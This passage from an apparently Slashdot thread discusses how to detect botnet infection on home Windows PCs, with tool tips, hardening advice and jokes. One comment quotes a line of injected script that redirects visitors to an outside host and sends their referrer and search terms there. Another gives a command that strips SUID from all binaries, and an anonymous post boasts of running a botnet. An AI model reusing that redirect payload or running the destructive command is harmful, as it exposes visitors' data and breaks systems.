    Some chick named Alanis is calling you subby.

  44. OS Check! by dandart · · Score: 5, Funny

    Q: How do I tell if my computer is part of a botnet?
    A: If it's got Windows on it, it is.

    1. Re:OS Check! by Anonymous Coward · · Score: 0

      -1 Fucking moron.

    2. Re:OS Check! by ArtemaOne · · Score: 3, Informative

      Its funny though, I've run Windows for a very very long time, and haven't used antivirus for the past decade. I run checks and my system doesn't pass any weird traffic, there are not unexplainable processes or services. I guess I just don't do stupid things to get viruses.

    3. Re:OS Check! by Vexorian · · Score: 1

      -1 lack of humor.

      --

      Copyright infringement is "piracy" in the same way DRM is "consumer rape"
    4. Re:OS Check! by Anonymous Coward · · Score: 0

      Isn't this getting a bit old?

      Parent should be modded flamebait, not funny.

    5. Re:OS Check! by Psyborgue · · Score: 1

      Its funny though, I've run Windows for a very very long time, and haven't used antivirus for the past decade. I run checks and my system doesn't pass any weird traffic, there are not unexplainable processes or services. I guess I just don't do stupid things to get viruses.

      Is the ethernet cable plugged in?

    6. Re:OS Check! by DarthVain · · Score: 1

      Correction: If you have a pirated copy of XP (which I would say a large percentage of the world does have), then you DEFIANTLY are part of at LEAST one botnet.

      Yes yes I know windows = bad, but seriously without the constant security patches, it is OMG horrible.

      I ran it for a while (pirated xp) until I couldn't handle it any more. I had a system down, that I would just back stuff up, and when the system became too saturated with various things (botnets, virus, worms, adware, spyware, trojans, etc...) I would just format the bloody thing and re-install, rinse and repeat. However it got so bad that within minutes of connecting to the internet you would get owned. That's when I jumped on the Linux train. I also have Vista on another box, and it got owned once by a nasty adware bug, but that really wasn't Vista's fault, but mine for downloading a sketchy program, so no one to blame but me.

      I wonder of those big botnets, how many of them are made up of copies of pirated XP, particularly in developing and Asian markets? I would guess a lot.

    7. Re:OS Check! by Anonymous Coward · · Score: 0

      another brainless idiot answer

    8. Re:OS Check! by Anonymous Coward · · Score: 0

      A better answer would be: YES! Because only Windows users would ask that question.

    9. Re:OS Check! by harl · · Score: 2, Insightful

      Computer viruses and trojans are social illnesses. Risk of social illness infection is greatly mitigated through behavior.

      --
      I find being offended by me offensive.
  45. wireshark by dandart · · Score: 1

    Use wireshark to hunt down your network from your router or via airtun (in aircrack) to scan the network from a computer.

  46. Simple check by mrsbrisby · · Score: 1, Funny

    Is it running windows?

  47. Three things to look for. by sgt+scrub · · Score: 5, Informative

    If you are seeing netbios over tcp (port 445) traffic and he is not uploading/downloading files via the "My Network Places" interface he is most likely infected with a trojan.

    If your seeing random high port to random high port traffic (ports 1024 - 65535 connecting to another ports 1024-65535) and he isn't doing P2P then he most likely is infected and the infection is trying to set up the machine as part of a bot net and trying to infect others.

    If you are seeing UDP traffic on a consistent port on his machine to random high ports (1024-65535) on the outside, his machine is an active server in a bot net.

    --
    Having to work for a living is the root of all evil.
    1. Re:Three things to look for. by Anonymous Coward · · Score: 0

      Question: As a windows user, what software can I use to visualize the traffic on different ports?

    2. Re:Three things to look for. by Anonymous Coward · · Score: 0

      Christ when I read this it sounded like a Jeff Foxworthy joke :)

      "If you are seeing netbios.. (slight pause looking at crowd)...
      over tcp (port 445) traffic... (slight pause looking at crowd with a grin)...
      and he is not uploading/downloading files via the "My Network Places" interface... (eyes light up, looking at crowd build up with slight pause)...
      he is most likely infected with a trojan."

  48. You've rebuilt the windows machines? by PhunkySchtuff · · Score: 2, Interesting

    You've rebuilt the windows machines? So, now you can not at all be sure if they were part of a botnet or not.
    Chances are they were, and you've done the right thing by rebuilding them.

    I think the details about the router with it's default password an no wireless security is a red herring - I've not heard of a botnet that tries to get in to your network by guessing standard admin passwords for common wireless routers. More likely it was a drive-by download from a dodgy web page, or a trojan in some downloaded software that put the malware on the machines.

    1. Re:You've rebuilt the windows machines? by DaMattster · · Score: 1

      You've rebuilt the windows machines? So, now you can not at all be sure if they were part of a botnet or not. Chances are they were, and you've done the right thing by rebuilding them. I think the details about the router with it's default password an no wireless security is a red herring - I've not heard of a botnet that tries to get in to your network by guessing standard admin passwords for common wireless routers. More likely it was a drive-by download from a dodgy web page, or a trojan in some downloaded software that put the malware on the machines.

      This is very easy to defend against. Simply disable remote administration of the router and the botnet will be unable to guess at the password.

    2. Re:You've rebuilt the windows machines? by arndawg · · Score: 1

      Wrong. There have been known cases of where you just visit a webpage and a javascript tries to hijack your router using standard passwords.

  49. Duh! by Lulu+of+the+Lotus-Ea · · Score: 0, Troll

    If you are running Windows, you are part of a botnet. If you are running a real operating system, your system is clean. Simple, huh?

  50. Re:Your Computer Is Part Of A Botnet If by Dustie · · Score: 1

    +1 Flamebait

  51. Botnet analysis by kiltros02 · · Score: 0, Troll

    This worked for me: Take a really sharp knife and carefully scrape away the insulation on a section of the wires between your computer and the router. I like to take some duct tape and make a closed loop with the sticky side out. I stick one side of the loop to a flat surface and then stick my wires to the exposed sticky side. This does a pretty good job of keeping the wires secure. You'll then need to develop a quark microscope capable of recording video (I had one but I misplaced it when I moved out of my old apartment). Aim the scope at the exposed wires and hit the record button (mine was red). Type out an email containing every possible character and send it through the wire as your control case. Use this data to translate the electron patterns in the video into discernable information. Monitor the video for several hours. If you see the word "girth" in any outgoing data, you can be pretty sure you've got yourself a bonafide (no pun intended) botnet. If you find a botnet in your system, all you need to do is cut the exposed wires and it won't be able to talk to the internets anymore.

  52. Tired Really Tired! by Anonymous Coward · · Score: 0

    In today's world you're dad's systems are owned!

    I have fought enough with MS systems to know, just nuke it and start over... I think Microsoft should start naming their Operating Systems starting with Swiss Cheese Business, or better yet Ben Dover Professional!

    Ugh....

  53. Beware Many wireless Routers Loose their Security by Timmy+D+Programmer · · Score: 1

    My own Linksys router reverts to wireless network enabled, and without security. All it takes is the power to go out, and back on again, and Boom! you're wide open. Furthermore Linksys never offered a patch or recall or anything later, They accept this is OK.

    --


    (If at first you don't succeed, do it different next time!)
  54. Might be Skype. by dweller_below · · Score: 1

    > I noticed on the Linksys' log that the laptop was making seemingly random connections to high-numbered ports on various IPs.

    There is probably more than 1 thing going on here.

    The machines are probably hacked. If they are, they will have some kind of a control channel. However, C&C is frequently subtle and hard to spot.

    The behavior you describe is typical of a number of P2P VOIP applications. Skype is the most likely alternative.

    If it is Skype, your chance of compromise is actually increased. I have observed attackers gathering lists of Skype peers (and BitTorrent peers as well.) They appear to believe that these lists provide a fruitful source of vulnerability for further attack.

    Miles

  55. Not really by FranTaylor · · Score: 1

    Not if you run it from a LiveCD on a dedicated system that you have set up with a bridge like the post above.

  56. To recover bandwidth... by olivier69 · · Score: 1

    I noticed on the Linksys' log that the laptop was making seemingly random connections to high-numbered ports on various IPs. I did a nslookup on the IPs to see that they were all either in Canada or US, with Comcast and other ISP addresses

    Hey dad, you see that donkey icon in the system tray, next to the time ? Now right click on it and choose "Quit".

  57. Connections could also be File Sharing/P2P by critter42 · · Score: 1

    I see a lot of switch/gateway logs with connections like you describe. 85-90% of the time it is actually BitTorrent/Limewire/other forms of P2P traffic.

  58. He's Lying by Shadow7789 · · Score: 2, Funny

    Sounds like Dad, if that's even his real name, knows more about computers than he is pretending to.

    He is clearly torrenting, and your best course of action would be to report his nefarious actions to the authorities.

  59. Securing Linux Box? by Lotana · · Score: 4, Interesting

    While we are on a topic of security:

    Several months ago I started using Debian as my primary OS at home. I am very happy with it, but don't know much about how to keep it secure or how to tell if I had been compromised. Of course very basics are clear: I do not use root except in those instances of updates, etc. The consensus on this site is that if you run Linux then you are invincible, but I respectfully disagree. The system is only as secure as the competence of the user.

    To cut the long story short:

    - What do you normally do to make sure that your Linux system is clean? Is running apt-get upgrade regularly enough or is there more to it?

    - What articles or books would you recommend to a newbie in this area? I am fully willing to RTFM as such, but please at least give me at least some direction on what to search for.

    - Any other general tips, advice or wisdom would you be willing to share?

    Thank you

    1. Re:Securing Linux Box? by Gogo0 · · Score: 2, Informative

      -i heard its good to remove SUID from any binaries that have it set. check google for this, its some long command that involves xargs.

      -check your /var/log/auth.log from time to time and make sure there arent a bunch of failed login attempts.

      -if you see a lot of activity in auth.log and other logfiles pointing to repeated attempts at breaking into your system, identify the method theyre trying to get in through (usually ssh or ftp) and change the port. i usually use 2222 for ssh and 2121 for ftp, that stopped all the connection attempts i was getting and theyre easy to remember.

      yeah, these are kind of basic and are not helpful in learning in-depth, but im kind of in the same boat. iv been using debian since 2001 and these (plus the basics of course) are all iv needed to secure my systems from attempted intrusions (at least, the ones i KNOW about).

    2. Re:Securing Linux Box? by Anonymous Coward · · Score: 0

      In the day and age of ssh (and thus sftp) why are you using ftp? Do you like sending everything in clear text?

    3. Re:Securing Linux Box? by mcrbids · · Score: 1

      - What do you normally do to make sure that your Linux system is clean? Is running apt-get upgrade regularly enough or is there more to it?

      Remove any and all services that are accessible from the Internet. If you are using SSH, disable passwords altogether and use RSA keys, WITH PASSPHRASES, on a non-standard port.

      - What articles or books would you recommend to a newbie in this area? I am fully willing to RTFM as such, but please at least give me at least some direction on what to search for.

      Most books are weak, at best. They are either too specific to be useful (since they rarely cover your situation) or too general to be useful, unless you are looking at high-level theory.

      Cover the basics:

      1) Have you run ALL updates? Linux distros are pretty good.

      2) Have you run a port scan from the wild internet? If you don't know what a service is, it shouldn't be visible.

      3) Are you logged in as root? You only need to be root when setting up something.

      4) Are you programming something? If so, unless you have a pretty good idea what you are doing, you should not make it open to the public.

      - Any other general tips, advice or wisdom would you be willing to share?

      1) Never run as root from anything but the command line, and then only sparingly.

      2) Don't forget physical security. Most Linux systems can be pwn3d by just rebooting and writing a line or two at the grub prompt.

      --
      I have no problem with your religion until you decide it's reason to deprive others of the truth.
    4. Re:Securing Linux Box? by Anonymous Coward · · Score: 0

      - Did you set up IPTables? (linux packet filter) (http://www.iptables.org/documentation/HOWTO//packet-filtering-HOWTO.html)

      - It also makes sense to check that no unneccessary services are running. (Apache might be running/installed even though you don't need it.)

      - Maybe you want to have a look at Tripwire. (IDS) (http://sourceforge.net/projects/tripwire/)

      - At home I also use RootKitHunter. (name says it all)

      IPTables, Tripwire and RootKitHunter are all available in Debian.
      Of course you'll never be "invincible". I'd say it just boils down to the right effort/security ratio for your situation/taste.

      (I just noticed you have to preview before you can submit which reminded me of http://xkcd.com/481/. So reread my post about 7 times ;-) )

    5. Re:Securing Linux Box? by xenobyte · · Score: 1

      Yes, why?

      There are nice sftp GUI-clients for Macs, Windows and Linux so there's really no reason at all for using old-fashioned ftp anymore.

      Three reasons for using sftp instead of ftp:

      1) Security. The remote server is verified and the transfer is encrypted. Also keys can be used instead of passwords.
      2) Integrity. The data transferred is validated as part of the protocol so random corruption due to crappy connections or faulty NICs (which is not so rare using ftp) doesn't happen; corrupted packets are detected and resent - or the connection is terminated if there's too many errors.
      3) Firewalls. Making old-fashioned ftp work through firewalls is a bitch and often requires work-arounds or compromises. No such problems with sftp.

      I haven't been using ftp at all for several years now despite transferring exabytes worth of data back and forth. For me sftp is the only way to go.

      --
      "For every complex problem, there is a solution that is simple, neat, and wrong." -- H.L. Mencken (1880-1956) --
    6. Re:Securing Linux Box? by Anonymous Coward · · Score: 0

      http://www.debian.org/doc/user-manuals#securing is a pretty good start ...

    7. Re:Securing Linux Box? by Anonymous Coward · · Score: 0

      i heard its good to remove SUID from any binaries that have it set. check google for this, its some long command that involves xargs.

      You really shouldn't do this, but:
      find / -perm /4000 -exec chmod u-s '{}' \+

      check your /var/log/auth.log from time to time and make sure there arent a bunch of failed login attempts.

      The failed logins aren't interesting. Check for login successes :)

      i usually use 2222 for ssh and 2121 for ftp, that stopped all the connection attempts i was getting and theyre easy to remember.

      If you have ssh already set up, please shut down ftp. sftp is the modern equivalent and runs over the ssh port. As a bonus, it encrypts your password and traffic (which ftp doesn't do).

    8. Re:Securing Linux Box? by Anonymous Coward · · Score: 0

      -i heard its good to remove SUID from any binaries that have it set. check google for this, its some long command that involves xargs.

      especially from su and sudo, it helps, really.

    9. Re:Securing Linux Box? by wild_berry · · Score: 1

      There's a huge difference is culture with Linux distributions in contrast to Windows. Linux software is largely available under the GPL or other free licence. Debian package and sign 18,000+ packages and offer a central download service. That allows you to get software you want from a trustworthy central location without risk of it compromising your system. However, there are guides to hardening Debian out there on the internet (Google suggests http://www.debian.org/doc/manuals/securing-debian-howto/), and there are willing helpers available on IRC.

      At a minimum, I would split your / (root), /boot and /home mounts to different partitions and only allow nodev (no device) and noexec (no executables) in your /home partition. Then don't be afraid to blast away the root and boot partitions as often as you want. Create a script run daily using Cron to list your installed packages (something as simple as 'dpkg -l > /home/user/package-list.txt') so that a reinstall puts the base system onto your machine, you connect for signed, Debian-created updates and then you can reinstall everything else you had (using something like 'aptitude install /home/user/package-list.txt').

    10. Re:Securing Linux Box? by Gogo0 · · Score: 1

      im actually running ftps, so no cleartext.
      i may move to sftp one of these days if i ever need to rebuild that server or just have some free time on my hands.

    11. Re:Securing Linux Box? by Alpha830RulZ · · Score: 1

      The basics include:

      1) don't run services that you don't need. If the box is isn't serving mail, don't run sendmail.

      2) make sure all accounts have non-trivial passwords. My root password is 13 characters, yours should be similar.

      3) don't run anything as root that doesn't need to run as root. Some things do need to run as root, so the advice in the following post about turning suid root programs off is liable to cause you trouble. As a developer, you should be very wary about designing something that needs to run suid root. If the distro has something installed as suid root, you probably want to leave that. But I'd be wary of new apps that do so.

      4) if the machine is publically visible, look into denyhosts.py, which scans for folks trying to enter and disables the IP address they are coming from.

      5) configure your firewall to limit access from hosts you're not going to come in from. Somebody in russia doesn't need to ssh in.

      6) consider using ssh keys for shell access, rather than passwords, if you access the machine remotely.

      7) remove or disable accounts that aren't used.

      Linux isn't invincible, but it's quite robust with just a modicum of precaution.

      --
      I was taught to respect my elders. The trouble is, it's getting harder and harder to find some.
  60. Probable indication by NoobixCube · · Score: 1

    As it's booting, if you see a logo that reminds you of Simon at all, chances are it's enslaved in a bot net. Daaamnnn yooouuuu Hasssbrooooo!!!!!

    --
    Admit it. You post strawman arguments as AC so you get modded Insightful for refuting them, rather than Troll
  61. The first thing to do by MrShaggy · · Score: 1

    Is to sit down with your father and gently explain to him the perils of surfing the internet unprotected. Had he done that I am sure that this wouldn't have happened in first place. Not to mention that fortunately this was simply an infection that could be cured. Your father should be thank-full that there is no pregnancy involved. Something to keep n mind for the next he is out sowing his wild oats.

    --
    I have mod points and I am not afraid to use them.
  62. Re:Proof of Infection? Clean Reinstall by Anonymous Coward · · Score: 0

    ...also throw in SuperAntiSpyware, AdAware, and Process Explorer. I've found 5 unknown viruses with Process Explorer in the last 4 months, and 3 probably unknown just yesterday.

  63. Could also be by DaMattster · · Score: 1

    Your father's computer could also have had spam smtp engines installed and controlled by a botnet. Honestly, I would try and steer your father to using Ubuntu or Linux Mint which is a much more secure computing platform than Windows. You could install and configure it for him. Basically, your dad probably uses the computer for basic office stuff and email so a Linux distro would be better for him. He would have to worry less about a botnet infection.

  64. Not hard... by WheelDweller · · Score: 2, Funny

    It comes with a logo; looks like a window. :)

    --
    --- For a good time mail uce@ftc.gov
  65. Re:Proof of Infection? Clean Reinstall by hymy · · Score: 1

    Ever heard of Wireshark?

  66. actually by Anonymous Coward · · Score: 0

    if you run windoze you are anyway in one or another botnet. the only difference between them is the fact that you got to pay for some of them while others are free :-). by the way: why are you so worried about being part of a botnet? if you're a windoze user that's the best thing that can possibly happen to you. for example do i tend to remove all other malware from the machines that are in the botnet i administer. i really try to get them as secure and stealthy as possible. just give me your ip address and i will show you what i mean (free of charge of course!).

  67. Re:Proof of Infection? Clean Reinstall by dtmos · · Score: 1

    ...so I downloaded the Bothunter executable only to discover that it did not have a valid digital signature. WTF? A security program that's not authenticatable?

  68. Re:Proof of Infection? Clean Reinstall by maxume · · Score: 2, Informative

    If you are going to fart around that much, you might as well build a new install CD with SP3 slipstreamed in and the most recent hotfixes set to run on install:

    http://www.nliteos.com/guide/part1.html

    I have built such a CD from the I386 folder on my harddrive (my laptop came with a recovery partition, not a CD) and successfully installed it into a virtual machine.

    --
    Nerd rage is the funniest rage.
  69. On a known clean local PC, you mean. by reiisi · · Score: 1

    Right?

    --
    Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
  70. On the other hand, by reiisi · · Score: 2, Insightful

    If the bogus netstat (and other utilities) are already part of the rootkit the skript ciddey downloaded, it doesn't cost the skript ciddey any more effort, and is even less likely to be noticed than strange output in netstat.

    --
    Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
    1. Re:On the other hand, by qtzlctl · · Score: 1

      skript ciddey

      "Skript Cidder"? Do you put that on bread?

  71. The real reason... by Anonymous Coward · · Score: 0

    Tell your dad to stop browsing for American porno.

  72. Slip Streaming by dunc78 · · Score: 1

    Maybe you already know, but if you don't, you should look up "Slip Streaming". With "Slip Streaming" you copy your install CD to your harddrive, "Slip Stream" the Service Pack files in, then create an install CD that will at least install the most recent Service Packs. Saves from having to go through all the old Service Packs on reinstalls.

  73. rebuilt by reiisi · · Score: 1

    He did say he has since rebuilt the machines, whatever he might have meant by that.

    Also, the way I read it, he was saying he'd logged into the router/modem. (Which was also probably also compromised, but at least he wouldn't be sharing desktops with it.)

    --
    Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
  74. blinkin' idiot lights by reiisi · · Score: 1

    First, many bot kits now are lower profile, deliberately not taking all the bandwidth available. That's going to reduce activity on the idiot lights.

    Second, the odds that the modem/router was itself also compromised are not small, and many of the cheap ones feed the idiot lights through software. (Do I need to say more about that?)

    --
    Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
  75. wmv drm by Frogg · · Score: 1

    > How would a video file deliver a virus payload?

    ...via a trojan in the video file's drm protection layer as far as i can make out.

    although to date this only seems to apply to .wmv files (thanks microsoft). the issue was originally reported in 2005, so i don't know whether it's very common, or indeed if it's still an issue nowadays.

    for more info see here:-

    http://seclists.org/bugtraq/2005/Jan/0130.html

  76. See what is going on with compromised NETSTAT by reiisi · · Score: 1

    Or are you talking about the known good machine which he brought with him, running (preferably a stripped down Linux or BSD) in stealth/promiscuous mode?

    --
    Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
  77. That's old advice. by reiisi · · Score: 1

    root kits these days even muck around with bios.

    safe mode isn't safe any more. Hasn't been for quite a while.

    --
    Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
  78. Be safe, wipe windows by Anonymous Coward · · Score: 0

    Be safe, wipe windows.

    There's no positive way to determine whether a machine is clean after an infection. If you even suspect infection, wipe and start over.

    Or just give him a 'Live Ubuntu CDROM' to boot and run for online use. He'll be safer than 99.99999999% of the internet users.

  79. That's what I was thinking. by reiisi · · Score: 1

    Next time power goes down, the Linksys is going to be reset.

    --
    Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
    1. Re:That's what I was thinking. by Jesterace · · Score: 1

      My Linksys never resets when my power goes down...

  80. Euthanize this site already by paraduma · · Score: 1

    Do you guys remember when John Carmack used to post here? Now look at this place. AOL news is more tech-savvy. Ugh.

  81. Re:Proof of Infection? Clean Reinstall by Anonymous Coward · · Score: 0

    As you would expect, both of the Windows computers got 'slow', and the desktop stopped connecting to the internet completely for some reason. As I logged in remotely to 'fix' things ...

    Quick question, how did you log into his desktop remotely if it "stopped connecting to the internet completely for some reason?"

    When you combine "noticed on the Linksys' log" with "As I logged in remotely" and combine that with the fact that the machines don't have internet access you can assume that he logged into the router remotely and not the PCs in question.
    -----

    If all you did was reset the hosts file, it will be back sometime. Somewhere, probably in multiple places on that hard drive, is an executable waiting to be run. It's probably infected some inane looking routine Windows system file that occasionally runs and when that happens your host file will magically change again.

    I'm guessing you that you assume he just reset the hosts file because he used the word 'hosts' and didn't put it into context that a) there are 2 machines that are being discussed, and b) he used the word rebuilt, which implies clean install or to reassemble (the software). So, the statement "rebuilt the Windows hosts" more than likely is referring to the two computers and not the hosts file itself.

    I could recommend you do a netstat but what's the point? Any botnet today would know how to elude that or run as part of a system routine. If the bot is serious enough, your best bet might be to save the data and just do a routine re-install. You know on my parent's WinXP machine, I do that everytime I'm home for christmas. Then I patch it as far as I can over their 56k modem.

    -----
    He is clearly capable of verifying the network activity of these machines outside of Windows as his entire suspicion is coming from the Linksys firewall log entries to A LOT of IP addresses and odd ports:

    As I logged in remotely to 'fix' things, I noticed on the Linksys' log that the laptop was making seemingly random connections to high-numbered ports on various IPs

    Odds are high your dad's machine is still infected and I would also suspect your machine as being potentially compromised if you connected using Windows remote desktop. Call me overly cautious but I don't take chances with Windows.

    Odds are a funny thing but IMNSHO I must firmly disagree with you. Your suspected actions (of resetting the hosts file in Windows) should not have eliminated the behavior he was seeing. Modifying the hosts file isn't necessary at all to connect to a botnet. You do all of that via IP (or a legitimate lookup). Now, spyware will change the hosts file because it would benefit to maliciously redirecting the users requests. If you are operating autonomously then you have no need to make that change.
    -----

    You can run all the programs you want (Bothunter, Symantic, AVG, AdAware, etc.) but in the end there's no guarantee although BotHunter's probably your best bet.

    The best thing to do is educate your dad. If he has a valid copy of Windows, spend time with him to show him how to go to IE and click Tools -> Update Windows then select all updates. Remind him periodically when you talk to him--especially if he does any banking or commerce online!

    Defense in depth has never been more important. This advice is great but it doesn't go far enough. At minimum:

    A self-updating antivirus package (or two, but only one with real-time scanning)
    A regularly scheduled scan (of AV (again, even with two as nothing can nor will ever be perfect) and malware)
    Automatic Windows updates (because otherwise they'll never do it)
    A monthly scan with Secunia's Personal Software Inspector to update all of your other applications

    Some other advic

  82. Easy by Anonymous Coward · · Score: 0

    When your computer comes alive and starts sending messages to Megatron, then you will know.

  83. I know you don't want to hear this, by reiisi · · Score: 1

    and the kneejerk reaction is not as valid as it once was, but have you tried talking him into giving up MSWindows?

    I know, I know, easier said than done, and, these days, even Linux and BSD are having a hard time staying clean. (I'm sure that costs Billy G. a small donation or two a week. Sorry. You didn't want to hear that, either. I didn't say it.)

    That modem/router is going to get reset again, hit by power or something. Depending on which model you're using, you can install a small Linux or net/openBSD distribution and reconstruct it so you can keep him from resetting it. Or maybe get a low-power PPC or ARM based NAS-type box (like the Kurobako), add disk drive and necessary ports (not sure what you'll need to hook to the WAN in India) to replace it and keep it more under your control.

    As advice, it's good. Financially, and time-wise, I'm not able to do it in my house, yet. But it's something we all really need to start doing. Relying on ISPs who have do not have great incentive to help customers keep their kit clean is not a good idea.

    If I had a couple of million in capital, I'd take a break and see what kind of packaged solution I could put together and sell -- very small ARM or coldfire processor as a tripwire watchdog, a medium-sized ARM with a small notebook or flash drive for meaningful logs as the firewall/router.

    For my purposes, I'd have another ARM processor with a small notebook drive serving DNS on the inside of the LAN. (Stupid ISP is telling me to change my DNS setting to DHCP, so I want to start checking their DNS server against a third-party DNS server.) and another for serving timestamps, and another serving my personal website. And all of these could fit in one small physical box, really.

    --
    Computer memory is just fancy paper, CPUs just fancy pens with fancy erasers; the 'net is just a fancy backyard fence.
  84. Supplement netstat w/ TcpView + ProcessExplorer by Anonymous Coward · · Score: 0, Troll

    "netstat -a | find "LISTENING"" - by (H)elix1 (231155) * on Thursday August 06, @05:08PM (#28978877) Homepage

    Good idea, & I tend to use THIS commandline though:

    netstat -an

    OR

    netstat -ano

    Which will show ALL listening endpoints, inclusive of local ports and remote ones...

    NOW, my point here? Don't trust netstat alone... because, like ANY application, it can be messaged or hooked (like what you see quite a few malwares nowadays do) to supply erroneous OR incomplete data...

    Thus, I recommend some other tools, to supplement & doublecheck it: Those tools being -> TcpView from SysInternals (Dr. Mark Russinovich & Bryce Cogswell, & Microsoft owns them now)...

    Another EXTREMELY USEFUL TOOL that sysinternals has, for the purposes of determining IF you are running ANY "weird programs", is their Process Explorer tool!

    Process Explorer - it has several advantages over Windows' own native taskmanager, in that it can "break out" subordinate process lists under svchost.exe (what brokers libs/dlls run under it for various system services)... &, since many a malware today attempts to exploit that to hide from std. TaskManager? This program CAN "expose them", if they attempt to hide under svchost.exe... & then, it can also be extremely useful in DESTROYING said malware/botnet control executables as well (more on that in my P.S. below, as to details of the "how" of it, pretty easy to do).

    APK

    P.S.=> Process Explorer can produce a DLL View listing of a process' own subordinate libs/dlls called or other exe's brokered by it (after you use Process Explorer's VIEW menu, & Show Lower Pane submenu, + choose the Lower Pane View submenu option)...

    Then, once that's in place, start hiliting processes to examine in its left-hand side list pane... & once there, start looking @ the DLL view list pane below, & if you see ANY that you are not familiar with?

    You then search them online & most times, many of the "malware libs" & exe's are already known & you can simply "Freeze" (suspend) the parent process (halting it temporarily, doubtless via messaging it with HLT instructions or otherwise similar calls) & then, suspend said lib being used for malware control!

    Lastly/Finally, delete said bogus lib/dll or exe on disk (this is done because many/most times, when a lib's being called this way, it is not possible to otherwise delete said backing lib or exe file from disk, because executables "page back" to themselves upon pagefaulting, & when in use this way? They cannot be destroyed typically.)... apk

    1. Re:Supplement netstat w/ TcpView + ProcessExplorer by Anonymous Coward · · Score: 0

      Stop modding up APK. He's a known troll. He's just spouting outdated "knowledge" from "Windows Help Forums".

      Meddling around with the possibly-infected box is stupid, stupid, stupid.

    2. Re:Supplement netstat w/ TcpView + ProcessExplorer by Anonymous Coward · · Score: 0

      Behold, readers of Slashdot. This is what you become if you're an anti-social stupid fuck no girl would want to touch with a 10-foot pole.

      You post "achievements" from over 10 years ago, in IT nonetheless, and you quote bullshit from fantasy books while brainlessly ignoring the topic at hand and flooding people with your quack knowledge.

      I bet 10 dollars the single mod point you got was from your main account and you shizo even thank yourself.

      Cry yourself to sleep on your cock-shaped pillow you human waste.

  85. thats easy by nurb432 · · Score: 0, Redundant

    Is it running windows? Then its part of a bot-net.

    --
    ---- Booth was a patriot ----
  86. Maybe if you didnt partake in outsourcing by Anonymous Coward · · Score: 0

    your computer wouldnt have fail you as it has.

  87. The takeaway... by Chysn · · Score: 4, Interesting

    I've read this entire thread and learned that it's impossible to tell if your computer is part of a botnet.

    --
    --I'm so big, my sig has its own sig.
    -- See?
    1. Re:The takeaway... by cheros · · Score: 1

      Not true. The key to joining one appears to be Windows :-)

      --
      Insert .sig here. Send no money now. Owner may sue, contents will settle. Batteries not included.
    2. Re:The takeaway... by master_p · · Score: 1

      Except if it runs Windows.

    3. Re:The takeaway... by Anonymous Coward · · Score: 0

      I've read this entire thread and learned that it's impossible to tell if your computer is part of a botnet.

      I've read this entire thread and learned that it seems all computers are part of a botnet.

  88. Simple answer by microbee · · Score: 1

    Your father was simply downloading porn through p2p.

  89. Filters at the router by Anonymous Coward · · Score: 0

    This won't prevent a bot but at least limit its traffic with little impact. On your/his router, only allow 53 to your ISP's DNS servers, 25 to your specific ISP mail servers, port 80 and port 443. Nothing else. I did this for years on my kids computers and there were very little side effects. Sure, if he is a computer guy he may want more ports, like usenet, bittorrent, ftp etc as required but I'd bet 99% of regular computer users don't use anything other than the short list of what I mentioned above. Another addition is limit what I said above to a single IP address that his computer has, if he needs something else, he can change his IP and change it back when he is done.

  90. Recent exploit sends data to Russian server by Boawk · · Score: 1

    Last week I was victim to an exploit in an older version of Coppermine, a photo-sharing app. The culprits uploaded a number of php scripts. Most scripts were designed to provide readily-indexable terms and phrases to search-engine spiders. If unwitting googlers went to the page, they were redirected to a fake anti-virus site which encourages you to download a trojan.

    Interestingly, before redirecting the user to the fake site, the user's search terms (in addition to other data) were forwarded to a server in Russia. Presumably this was to continually optimize the index terms to those actually being searched for.

    The code had been on my server for less than 3 days. After removing it, I still got 100s of hits from unwitting google and yahoo searchers.

    A quick search of my own on google revealed 1000s of compromised servers. Wanna have fun with the black hat's server? Here's the relevant line from their scripts:

    window.location = ("http://luckystats1.com/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default");

  91. Check the lower left corner of the screen by waa · · Score: 0, Redundant

    Does it say "Start" ?
    Botnet.
    :)

    --
    Windows is not the answer.
    Windows is the question.
    The answer is "NO."
  92. Xbox script kiddie by ub3r+n3u7r4l1st · · Score: 1

    If you go to YouTube and search for "Xbox host booting", there are shitload of tutorial on how to setup a botnet to kick somebody in a Halo 3 session so they win automatically. They all use UDP port 3074. If you see that then you know that on the other side is some kid who couldn't lose a game.

  93. The Shark by bizitch · · Score: 3, Informative

    Download and install Wireshark from http://www.wireshark.org/

    Fire it up and watch everything on the NIC

    --
    ---- "Logoff! That cookie shit makes me nervous!" - A. Soprano
  94. That's not a botnet... by bwcbwc · · Score: 1

    He's just torrenting porn...

    --
    We are the 198 proof..
    1. Re:That's not a botnet... by Anonymous Coward · · Score: 0

      and it depends if you consider skype a botnet.

      white people porn is worth top dolla in hyderabad

  95. indeed by brilanon · · Score: 1

    > I have also secured the Linksys.

    You're lucky it wasn't hijacked and bricked

  96. You know if... by lnxpilot · · Score: 1

    - You know that a politician is lying, if his lips are moving.
    - You know you have a botnet zombie if you're using Windows. :P

  97. A VM might be the best way to do this by Anonymous Coward · · Score: 0

    My parents live overseas as well. I try and help them as much as I can from here. I tried once to convert them to Linux but that did not go well.

    The university I used to attend came up with a pretty neat way to maintain their windows desktops clean. I believe the machines were booting linux but they would immediately launch vmware player running windows on it. The end user could barely even notice that the machine was not booting straight on windows. All the desktops were rebooted every night and the next day a fresh copy of the vm image was ran. If you wanted to save anything, you had to save it in a USB drive because on the next day the machine was clean again. I think this might be the best solution to support my parents overseas. Comments anyone? What do you all think?

  98. Open it and see if it's infested with Botflies! by refactored · · Score: 0, Offtopic

    Botflies deposit eggs in a host body, or sometimes use an intermediate vector: common houseflies for example. The smaller fly is firmly held by the botfly female and rotated to a position where the botfly attaches some 30 eggs to the body under the wings. Larvae from these eggs, stimulated by the warmth of a large mammal host, drop onto its skin and burrow underneath.

